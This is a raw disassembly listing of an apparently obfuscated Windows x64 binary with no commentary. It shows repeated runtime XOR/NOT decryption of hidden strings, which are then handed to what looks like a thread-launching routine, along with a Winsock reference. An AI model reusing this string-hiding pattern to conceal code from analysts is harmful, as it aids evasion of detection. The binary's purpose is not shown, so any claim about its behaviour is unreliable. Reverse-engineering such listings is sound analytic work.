lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006acf8
mov ecx, 0xc40
mov eax, dword [rcx + rdi]
mov ebx, 0xd80
test al, 1
jne 0x14006928f
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + rdi + 5], 0x1a3
mov dword [rbx + rdi], 0x97c2a92b
mov byte [rbx + rdi + 4], 0x7c
lea rcx, [0x14018f870]
call fcn.14015b9c0
nop
lea rsi, [rbx + rdi]
cmp byte [rsi + 6], 0
je 0x1400692b4
xor byte [rsi], 0x69
xor byte [rsi + 1], 0xdb
xor byte [rsi + 2], 0xa3
xor byte [rsi + 3], 0xe1
xor byte [rsi + 4], 0x19
xor byte [rsi + 5], 0xa3
mov byte [rsi + 6], 0
movdqa xmm0, xmmword [0x1401dc9d0]
movdqa xmm1, xmmword [0x1401dcab0]
mov dword [rbp + 0x188], 0x8813dfd5
mov word [rbp + 0x18c], 0x1067
mov ecx, 0x104c
mov eax, dword [rcx + rdi]
mov ebx, 0x16d8
test al, 1
jne 0x14006935f
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x27], 1
lea rax, [rcx + 0x26]
lea rdx, [rbp + 0x18e]
cmp rcx, rdx
ja 0x140069333
lea rdx, [rbp + 0x168]
cmp rax, rdx
jb 0x140069333
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x188]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x18c]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], 0x55
jmp 0x140069352
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov eax, dword [rbp + 0x188]
mov dword [rcx + 0x20], eax
movzx eax, word [rbp + 0x18c]
mov word [rcx + 0x24], ax
mov byte [rcx + 0x26], 0x55
lea rcx, [0x14018f890]
call fcn.14015b9c0
nop
lea r14, [rbx + rdi]
cmp byte [r14 + 0x27], 0
je 0x140069430
xor byte [r14], 0xa7
not byte [r14 + 1]
xor byte [r14 + 2], 0x57
xor byte [r14 + 3], 0xe9
xor byte [r14 + 4], 0x13
xor byte [r14 + 5], 0x71
xor byte [r14 + 6], 0x55
xor byte [r14 + 7], 0x17
xor byte [r14 + 8], 0xa7
not byte [r14 + 9]
xor byte [r14 + 0xa], 0x57
xor byte [r14 + 0xb], 0xe9
xor byte [r14 + 0xc], 0x13
xor byte [r14 + 0xd], 0x71
xor byte [r14 + 0xe], 0x55
xor byte [r14 + 0xf], 0x17
xor byte [r14 + 0x10], 0xa7
not byte [r14 + 0x11]
xor byte [r14 + 0x12], 0x57
xor byte [r14 + 0x13], 0xe9
xor byte [r14 + 0x14], 0x13
xor byte [r14 + 0x15], 0x71
xor byte [r14 + 0x16], 0x55
xor byte [r14 + 0x17], 0x17
xor byte [r14 + 0x18], 0xa7
not byte [r14 + 0x19]
xor byte [r14 + 0x1a], 0x57
xor byte [r14 + 0x1b], 0xe9
xor byte [r14 + 0x1c], 0x13
xor byte [r14 + 0x1d], 0x71
xor byte [r14 + 0x1e], 0x55
xor byte [r14 + 0x1f], 0x17
xor byte [r14 + 0x20], 0xa7
not byte [r14 + 0x21]
xor byte [r14 + 0x22], 0x57
xor byte [r14 + 0x23], 0xe9
xor byte [r14 + 0x24], 0x13
xor byte [r14 + 0x25], 0x71
xor byte [r14 + 0x26], 0x55
mov byte [r14 + 0x27], 0
movdqa xmm0, xmmword [0x1401dc710]
movdqa xmm1, xmmword [0x1401dc800]
movdqa xmm2, xmmword [0x1401dc840]
mov word [rbp + 0x248], 0xb89f
mov ecx, 0xe84
mov eax, dword [rcx + rdi]
mov ebx, 0x11c0
test al, 1
jne 0x1400694cf
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x33], 1
lea rax, [rcx + 0x32]
lea rdx, [rbp + 0x24a]
cmp rcx, rdx
ja 0x1400694a8
lea rdx, [rbp + 0x218]
cmp rax, rdx
jb 0x1400694a8
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
movzx eax, word [rbp + 0x248]
mov word [rcx + 0x30], ax
mov byte [rcx + 0x32], 0xd5
jmp 0x1400694c2
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx + 0x20], xmm2
movzx eax, word [rbp + 0x248]
mov word [rcx + 0x30], ax
mov byte [rcx + 0x32], 0xd5
lea rcx, [0x14018f8c0]
call fcn.14015b9c0
nop
add rbx, rdi
mov rcx, rbx
call fcn.14006b890
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], rsi
mov qword [rax + 8], r14
mov qword [rax + 0x10], rbx
mov byte [rax + 0x18], 1
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ae2e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x140069555
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x140069565
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006acfe
mov ecx, 0xbb0
mov eax, dword [rcx + rdi]
mov ebx, 0x1508
test al, 1
jne 0x1400695a3
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rbx + rdi + 4], 0x10d67f4
mov dword [rbx + rdi], 0xbf411614
lea rcx, [0x14018f7d0]
call fcn.14015b9c0
nop
lea rsi, [rbx + rdi]
cmp byte [rsi + 7], 0
je 0x1400695cc
xor byte [rsi], 0x4d
xor byte [rsi + 1], 0x77
xor byte [rsi + 2], 0x2f
xor byte [rsi + 3], 0xdb
xor byte [rsi + 4], 0x91
xor byte [rsi + 5], 0x1f
xor byte [rsi + 6], 0xd
mov byte [rsi + 7], 0
movdqa xmm0, xmmword [0x1401dcff0]
movdqa xmm1, xmmword [0x1401dcc30]
mov ecx, 0xf60
mov eax, dword [rcx + rdi]
mov ebx, 0xf00
test al, 1
jne 0x140069634
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rbx + rdi]
mov byte [rax + 0x20], 1
lea rcx, [rax + 0x1f]
lea rdx, [rbp + 0x28f]
cmp rax, rdx
ja 0x140069620
lea rdx, [rbp + 0x270]
cmp rcx, rdx
jb 0x140069620
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
jmp 0x140069627
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
lea rcx, [0x14018f800]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x20], 0
je 0x1400696c4
xor byte [rbx], 0xf3
xor byte [rbx + 1], 0x47
xor byte [rbx + 2], 0x6d
xor byte [rbx + 3], 5
xor byte [rbx + 4], 0xb1
xor byte [rbx + 5], 0x59
xor byte [rbx + 6], 0x77
xor byte [rbx + 7], 0x8d
xor byte [rbx + 8], 0xf3
xor byte [rbx + 9], 0x47
xor byte [rbx + 0xa], 0x6d
xor byte [rbx + 0xb], 5
xor byte [rbx + 0xc], 0xb1
xor byte [rbx + 0xd], 0x59
xor byte [rbx + 0xe], 0x77
xor byte [rbx + 0xf], 0x8d
xor byte [rbx + 0x10], 0xf3
xor byte [rbx + 0x11], 0x47
xor byte [rbx + 0x12], 0x6d
xor byte [rbx + 0x13], 5
xor byte [rbx + 0x14], 0xb1
xor byte [rbx + 0x15], 0x59
xor byte [rbx + 0x16], 0x77
xor byte [rbx + 0x17], 0x8d
xor byte [rbx + 0x18], 0xf3
xor byte [rbx + 0x19], 0x47
xor byte [rbx + 0x1a], 0x6d
xor byte [rbx + 0x1b], 5
xor byte [rbx + 0x1c], 0xb1
xor byte [rbx + 0x1d], 0x59
xor byte [rbx + 0x1e], 0x77
xor byte [rbx + 0x1f], 0x8d
mov byte [rbx + 0x20], 0
movdqa xmm0, xmmword [str.n]
movdqa xmm1, xmmword [0x1401dcc70]
mov dword [rbp + 0x80], 0xc06ca6c9
mov dword [rbp + 0x84], 0xb9a683b1
mov dword [rbp + 0x88], 0xa16abde4
mov ecx, 0xe04
mov eax, dword [rcx + rdi]
mov r14d, 0x15f0
test al, 1
jne 0x140069774
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [r14 + rdi]
mov byte [rcx + 0x2c], 1
lea rax, [rcx + 0x2b]
lea rdx, [rbp + 0x8b]
cmp rcx, rdx
ja 0x14006974a
lea rdx, [rbp + 0x60]
cmp rax, rdx
jb 0x14006974a
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x80]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x88]
mov dword [rcx + 0x28], eax
jmp 0x140069767
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x80]
movsd qword [rcx + 0x20], xmm0
mov eax, dword [rbp + 0x88]
mov dword [rcx + 0x28], eax
lea rcx, [0x14018f840]
call fcn.14015b9c0
nop
add r14, rdi
cmp byte [r14 + 0x2c], 0
je 0x140069862
xor byte [r14], 0x85
xor byte [r14 + 1], 0xc9
xor byte [r14 + 2], 0xf
xor byte [r14 + 3], 0xa1
xor byte [r14 + 4], 0xdd
xor byte [r14 + 5], 0xa3
xor byte [r14 + 6], 0xf5
xor byte [r14 + 7], 0xcd
xor byte [r14 + 8], 0x85
xor byte [r14 + 9], 0xc9
xor byte [r14 + 0xa], 0xf
xor byte [r14 + 0xb], 0xa1
xor byte [r14 + 0xc], 0xdd
xor byte [r14 + 0xd], 0xa3
xor byte [r14 + 0xe], 0xf5
xor byte [r14 + 0xf], 0xcd
xor byte [r14 + 0x10], 0x85
xor byte [r14 + 0x11], 0xc9
xor byte [r14 + 0x12], 0xf
xor byte [r14 + 0x13], 0xa1
xor byte [r14 + 0x14], 0xdd
xor byte [r14 + 0x15], 0xa3
xor byte [r14 + 0x16], 0xf5
xor byte [r14 + 0x17], 0xcd
xor byte [r14 + 0x18], 0x85
xor byte [r14 + 0x19], 0xc9
xor byte [r14 + 0x1a], 0xf
xor byte [r14 + 0x1b], 0xa1
xor byte [r14 + 0x1c], 0xdd
xor byte [r14 + 0x1d], 0xa3
xor byte [r14 + 0x1e], 0xf5
xor byte [r14 + 0x1f], 0xcd
xor byte [r14 + 0x20], 0x85
xor byte [r14 + 0x21], 0xc9
xor byte [r14 + 0x22], 0xf
xor byte [r14 + 0x23], 0xa1
xor byte [r14 + 0x24], 0xdd
xor byte [r14 + 0x25], 0xa3
xor byte [r14 + 0x26], 0xf5
xor byte [r14 + 0x27], 0xcd
xor byte [r14 + 0x28], 0x85
xor byte [r14 + 0x29], 0xc9
xor byte [r14 + 0x2a], 0xf
xor byte [r14 + 0x2b], 0xa1
mov byte [r14 + 0x2c], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov byte [rax + 0x18], 1
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ae1e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x1400698dd
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x1400698ed
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad04
mov ecx, 0x1160
mov eax, dword [rcx + rdi]
mov ebx, 0x1358
test al, 1
jne 0x140069936
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + rdi + 7], 0x1a5
mov dword [rbx + rdi], 0x72bb0433
mov word [rbx + rdi + 4], 0x47e7
mov byte [rbx + rdi + 6], 0xac
lea rcx, [0x14018f750]
call fcn.14015b9c0
nop
lea r14, [rbx + rdi]
cmp byte [r14 + 8], 0
je 0x14006996d
xor byte [r14], 0x65
xor byte [r14 + 1], 0x6d
xor byte [r14 + 2], 0xcd
xor byte [r14 + 3], 0x13
xor byte [r14 + 4], 0x8b
xor byte [r14 + 5], 0x23
xor byte [r14 + 6], 0xc5
xor byte [r14 + 7], 0xa5
mov byte [r14 + 8], 0
movdqa xmm0, xmmword [0x1401dcac0]
mov word [rbp + 0x138], 0x4c89
mov ecx, 0xee4
mov eax, dword [rcx + rdi]
mov ebx, 0x1340
test al, 1
jne 0x1400699ec
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x13], 1
lea rax, [rcx + 0x12]
lea rdx, [rbp + 0x13a]
cmp rcx, rdx
ja 0x1400699cd
lea rdx, [rbp + 0x128]
cmp rax, rdx
jb 0x1400699cd
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x138]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0xfd
jmp 0x1400699df
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x138]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], 0xfd
lea rcx, [0x14018f770]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x13], 0
je 0x140069a44
xor byte [rbx], 0xfd
xor byte [rbx + 1], 0x2d
xor byte [rbx + 2], 0xfd
xor byte [rbx + 3], 0xd1
xor byte [rbx + 4], 0x89
xor byte [rbx + 5], 0xb7
xor byte [rbx + 6], 0x23
xor byte [rbx + 7], 0x15
xor byte [rbx + 8], 0xfd
xor byte [rbx + 9], 0x2d
xor byte [rbx + 0xa], 0xfd
xor byte [rbx + 0xb], 0xd1
xor byte [rbx + 0xc], 0x89
xor byte [rbx + 0xd], 0xb7
xor byte [rbx + 0xe], 0x23
xor byte [rbx + 0xf], 0x15
xor byte [rbx + 0x10], 0xfd
xor byte [rbx + 0x11], 0x2d
xor byte [rbx + 0x12], 0xfd
mov byte [rbx + 0x13], 0
movdqa xmm0, xmmword [0x1401dc980]
mov dword [rbp - 0x80], 0x8fdf64e3
mov dword [rbp - 0x7c], 0x4796c0ce
mov dword [rbp - 0x78], 0xa2f756b7
mov word [rbp - 0x74], 0xc6d5
mov ecx, 0xed4
mov eax, dword [rcx + rdi]
mov esi, 0x1578
test al, 1
jne 0x140069aea
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rsi + rdi]
mov byte [rcx + 0x1f], 1
lea rax, [rcx + 0x1e]
lea rdx, [rbp - 0x72]
cmp rcx, rdx
ja 0x140069abe
lea rdx, [rsp + 0x70]
cmp rax, rdx
jb 0x140069abe
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x80]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x78]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp - 0x74]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0xf7
jmp 0x140069add
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x80]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x78]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp - 0x74]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0xf7
lea rcx, [0x14018f7a0]
call fcn.14015b9c0
nop
add rsi, rdi
cmp byte [rsi + 0x1f], 0
je 0x140069b72
xor byte [rsi], 0x97
xor byte [rsi + 1], 5
xor byte [rsi + 2], 0x83
xor byte [rsi + 3], 0xc3
xor byte [rsi + 4], 0xa1
xor byte [rsi + 5], 0xa3
xor byte [rsi + 6], 0xf7
xor byte [rsi + 7], 0x2b
xor byte [rsi + 8], 0x97
xor byte [rsi + 9], 5
xor byte [rsi + 0xa], 0x83
xor byte [rsi + 0xb], 0xc3
xor byte [rsi + 0xc], 0xa1
xor byte [rsi + 0xd], 0xa3
xor byte [rsi + 0xe], 0xf7
xor byte [rsi + 0xf], 0x2b
xor byte [rsi + 0x10], 0x97
xor byte [rsi + 0x11], 5
xor byte [rsi + 0x12], 0x83
xor byte [rsi + 0x13], 0xc3
xor byte [rsi + 0x14], 0xa1
xor byte [rsi + 0x15], 0xa3
xor byte [rsi + 0x16], 0xf7
xor byte [rsi + 0x17], 0x2b
xor byte [rsi + 0x18], 0x97
xor byte [rsi + 0x19], 5
xor byte [rsi + 0x1a], 0x83
xor byte [rsi + 0x1b], 0xc3
xor byte [rsi + 0x1c], 0xa1
xor byte [rsi + 0x1d], 0xa3
xor byte [rsi + 0x1e], 0xf7
mov byte [rsi + 0x1f], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov byte [rax + 0x18], 1
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006ae0e
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x140069bed
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x140069bfd
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad0a
movdqa xmm0, xmmword [0x1401dca20]
mov word [rbp + 0x120], 0x2b0b
mov ecx, 0xbb4
mov eax, dword [rcx + rdi]
mov ebx, 0x10c0
test al, 1
jne 0x140069c7f
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x12], 1
lea rax, [rcx + 0x11]
lea rdx, [rbp + 0x121]
cmp rcx, rdx
ja 0x140069c64
lea rdx, [rbp + 0x110]
cmp rax, rdx
jb 0x140069c64
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x120]
mov word [rcx + 0x10], ax
jmp 0x140069c72
movups xmmword [rcx], xmm0
movzx eax, word [rbp + 0x120]
mov word [rcx + 0x10], ax
lea rcx, [0x14018f6d0]
call fcn.14015b9c0
nop
lea rsi, [rbx + rdi]
cmp byte [rsi + 0x12], 0
je 0x140069cd2
xor byte [rsi], 0x79
xor byte [rsi + 1], 0x2b
xor byte [rsi + 2], 0x75
xor byte [rsi + 3], 0x33
not byte [rsi + 4]
xor byte [rsi + 5], 3
xor byte [rsi + 6], 0x37
xor byte [rsi + 7], 0x3b
xor byte [rsi + 8], 0x79
xor byte [rsi + 9], 0x2b
xor byte [rsi + 0xa], 0x75
xor byte [rsi + 0xb], 0x33
not byte [rsi + 0xc]
xor byte [rsi + 0xd], 3
xor byte [rsi + 0xe], 0x37
xor byte [rsi + 0xf], 0x3b
xor byte [rsi + 0x10], 0x79
xor byte [rsi + 0x11], 0x2b
mov byte [rsi + 0x12], 0
movdqa xmm0, xmmword [0x1401dcdd0]
mov dword [rbp - 0x40], 0xb8651b70
mov dword [rbp - 0x3c], 0xe3a78600
mov dword [rbp - 0x38], 0x8c4d0851
mov ecx, 0xeec
mov eax, dword [rcx + rdi]
mov ebx, 0x1060
test al, 1
jne 0x140069d61
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp - 0x34]
cmp rcx, rdx
ja 0x140069d3d
lea rdx, [rbp - 0x50]
cmp rax, rdx
jb 0x140069d3d
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x40]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x38]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], reloc.WS2_32.dll_WSAStartup
jmp 0x140069d54
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x40]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp - 0x38]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], reloc.WS2_32.dll_WSAStartup
lea rcx, [0x14018f6f0]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x1d], 0
je 0x140069de1
xor byte [rbx], 0x15
xor byte [rbx + 1], 0x69
xor byte [rbx + 2], 0x39
xor byte [rbx + 3], 0xed
xor byte [rbx + 4], 0x73
xor byte [rbx + 5], 0xe3
xor byte [rbx + 6], 0xd5
xor byte [rbx + 7], 0xc3
xor byte [rbx + 8], 0x15
xor byte [rbx + 9], 0x69
xor byte [rbx + 0xa], 0x39
xor byte [rbx + 0xb], 0xed
xor byte [rbx + 0xc], 0x73
xor byte [rbx + 0xd], 0xe3
xor byte [rbx + 0xe], 0xd5
xor byte [rbx + 0xf], 0xc3
xor byte [rbx + 0x10], 0x15
xor byte [rbx + 0x11], 0x69
xor byte [rbx + 0x12], 0x39
xor byte [rbx + 0x13], 0xed
xor byte [rbx + 0x14], 0x73
xor byte [rbx + 0x15], 0xe3
xor byte [rbx + 0x16], 0xd5
xor byte [rbx + 0x17], 0xc3
xor byte [rbx + 0x18], 0x15
xor byte [rbx + 0x19], 0x69
xor byte [rbx + 0x1a], 0x39
xor byte [rbx + 0x1b], 0xed
xor byte [rbx + 0x1c], 0x73
mov byte [rbx + 0x1d], 0
movdqa xmm0, xmmword [0x1401dc730]
movdqa xmm1, xmmword [0x1401dc690]
mov dword [rbp + 0x1e0], 0x7ee3d3c8
mov dword [rbp + 0x1e4], 0x6b5681d
mov ecx, 0xf24
mov eax, dword [rcx + rdi]
mov r14d, 0x1368
test al, 1
jne 0x140069e80
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [r14 + rdi]
mov byte [rax + 0x29], 1
lea rcx, [rax + 0x28]
lea rdx, [rbp + 0x1e8]
cmp rax, rdx
ja 0x140069e5b
lea rdx, [rbp + 0x1c0]
cmp rcx, rdx
jb 0x140069e5b
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1e0]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0xa9
jmp 0x140069e73
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbp + 0x1e0]
movsd qword [rax + 0x20], xmm0
mov byte [rax + 0x28], 0xa9
lea rcx, [0x14018f720]
call fcn.14015b9c0
nop
add r14, rdi
cmp byte [r14 + 0x29], 0
je 0x140069f5f
xor byte [r14], 0xa9
xor byte [r14 + 1], 0xbf
xor byte [r14 + 2], 0xc3
xor byte [r14 + 3], 0x2d
xor byte [r14 + 4], 0x69
xor byte [r14 + 5], 9
xor byte [r14 + 6], 0xc1
xor byte [r14 + 7], 0x63
xor byte [r14 + 8], 0xa9
xor byte [r14 + 9], 0xbf
xor byte [r14 + 0xa], 0xc3
xor byte [r14 + 0xb], 0x2d
xor byte [r14 + 0xc], 0x69
xor byte [r14 + 0xd], 9
xor byte [r14 + 0xe], 0xc1
xor byte [r14 + 0xf], 0x63
xor byte [r14 + 0x10], 0xa9
xor byte [r14 + 0x11], 0xbf
xor byte [r14 + 0x12], 0xc3
xor byte [r14 + 0x13], 0x2d
xor byte [r14 + 0x14], 0x69
xor byte [r14 + 0x15], 9
xor byte [r14 + 0x16], 0xc1
xor byte [r14 + 0x17], 0x63
xor byte [r14 + 0x18], 0xa9
xor byte [r14 + 0x19], 0xbf
xor byte [r14 + 0x1a], 0xc3
xor byte [r14 + 0x1b], 0x2d
xor byte [r14 + 0x1c], 0x69
xor byte [r14 + 0x1d], 9
xor byte [r14 + 0x1e], 0xc1
xor byte [r14 + 0x1f], 0x63
xor byte [r14 + 0x20], 0xa9
xor byte [r14 + 0x21], 0xbf
xor byte [r14 + 0x22], 0xc3
xor byte [r14 + 0x23], 0x2d
xor byte [r14 + 0x24], 0x69
xor byte [r14 + 0x25], 9
xor byte [r14 + 0x26], 0xc1
xor byte [r14 + 0x27], 0x63
xor byte [r14 + 0x28], 0xa9
mov byte [r14 + 0x29], 0
mov ecx, 0x30
call fcn.14015b520
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov byte [rax + 0x18], 1
mov qword [rax + 0x20], r15
mov qword [rax + 0x28], r13
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140072860]
xor edx, edx
xor ecx, ecx
call fcn.14016a540
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14006adfe
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x60]
je 0x140069fda
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
add qword [rsp + 0x58], 0x10
jmp 0x140069fea
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400703c0
nop
cmp dword [rsp + 0x38], 0
jne 0x14006ad10
movdqa xmm0, xmmword [0x1401dcc90]
mov dword [rbp + 0xd0], 0x4d7e38da
mov ecx, 0xc24
mov eax, dword [rcx + rdi]
mov ebx, 0x10f8
test al, 1
jne 0x14006a071
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp + 0xd4]
cmp rcx, rdx
ja 0x14006a054
lea rdx, [rbp + 0xc0]
cmp rax, rdx
jb 0x14006a054
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0xd0]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x33
jmp 0x14006a064
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0xd0]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x33
lea rcx, [0x14018f640]
call fcn.14015b9c0
nop
add rbx, rdi
cmp byte [rbx + 0x15], 0
je 0x14006a0cf
xor byte [rbx], 0xad
xor byte [rbx + 1], 0x4b
xor byte [rbx + 2], 0x1b
xor byte [rbx + 3], 0x3f
xor byte [rbx + 4], 0x33
xor byte [rbx + 5], 0xe7
not byte [rbx + 6]
xor byte [rbx + 7], 0xf5
xor byte [rbx + 8], 0xad
xor byte [rbx + 9], 0x4b
xor byte [rbx + 0xa], 0x1b
xor byte [rbx + 0xb], 0x3f
xor byte [rbx + 0xc], 0x33
xor byte [rbx + 0xd], 0xe7
not byte [rbx + 0xe]
xor byte [rbx + 0xf], 0xf5
xor byte [rbx + 0x10], 0xad
xor byte [rbx + 0x11], 0x4b
xor byte [rbx + 0x12], 0x1b
xor byte [rbx + 0x13], 0x3f
xor byte [rbx + 0x14], 0x33
mov byte [rbx + 0x15], 0
movdqa xmm0, xmmword [0x1401dccb0]
movdqa xmm1, xmmword [0x1401dcf60]
mov ecx, 0x1418
mov eax, dword [rcx + rdi]
mov esi, 0x1268
test al, 1
jne 0x14006a137
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rsi + rdi]
mov byte [rax + 0x20], 1
lea rcx, [rax + 0x1f]
lea rdx, [rbp + 0x2af]
cmp rax, rdx
ja 0x14006a123
lea rdx, [rbp + 0x290]
cmp rcx, rdx
jb 0x14006a123
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
jmp 0x14006a12a
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
lea rcx, [0x14018f660]
call fcn.14015b9c0
nop
add rsi, rdi
cmp byte [rsi + 0x20], 0
je 0x14006a1c7
xor byte [rsi], 0x9f
xor byte [rsi + 1], 0x21
xor byte [rsi + 2], 0x93
xor byte [rsi + 3], 0x95
xor byte [rsi + 4], 0x4b
xor byte [rsi + 5], 0x89
xor byte [rsi + 6], 0xc5
xor byte [rsi + 7], 0xef
xor byte [rsi + 8], 0x9f
xor byte [rsi + 9], 0x21
xor byte [rsi + 0xa], 0x93
xor byte [rsi + 0xb], 0x95
xor byte [rsi + 0xc], 0x4b
xor byte [rsi + 0xd], 0x89
xor byte [rsi + 0xe], 0xc5
xor byte [rsi + 0xf], 0xef
xor byte [rsi + 0x10], 0x9f
xor byte [rsi + 0x11], 0x21
xor byte [rsi + 0x12], 0x93
xor byte [rsi + 0x13], 0x95
xor byte [rsi + 0x14], 0x4b
xor byte [rsi + 0x15], 0x89
xor byte [rsi + 0x16], 0xc5
xor byte [rsi + 0x17], 0xef
xor byte [rsi + 0x18], 0x9f
xor byte [rsi + 0x19], 0x21
xor byte [rsi + 0x1a], 0x93
xor byte [rsi + 0x1b], 0x95
xor byte [rsi + 0x1c], 0x4b
xor byte [rsi + 0x1d], 0x89
xor byte [rsi + 0x1e], 0xc5
xor byte [rsi + 0x1f], 0xef
mov byte [rsi + 0x20], 0
movdqa xmm0, xmmword [0x1401dcd50]
movdqa xmm1, xmmword [0x1401dcbf0]
mov dword [rbp + 0xb0], 0xb274caa3
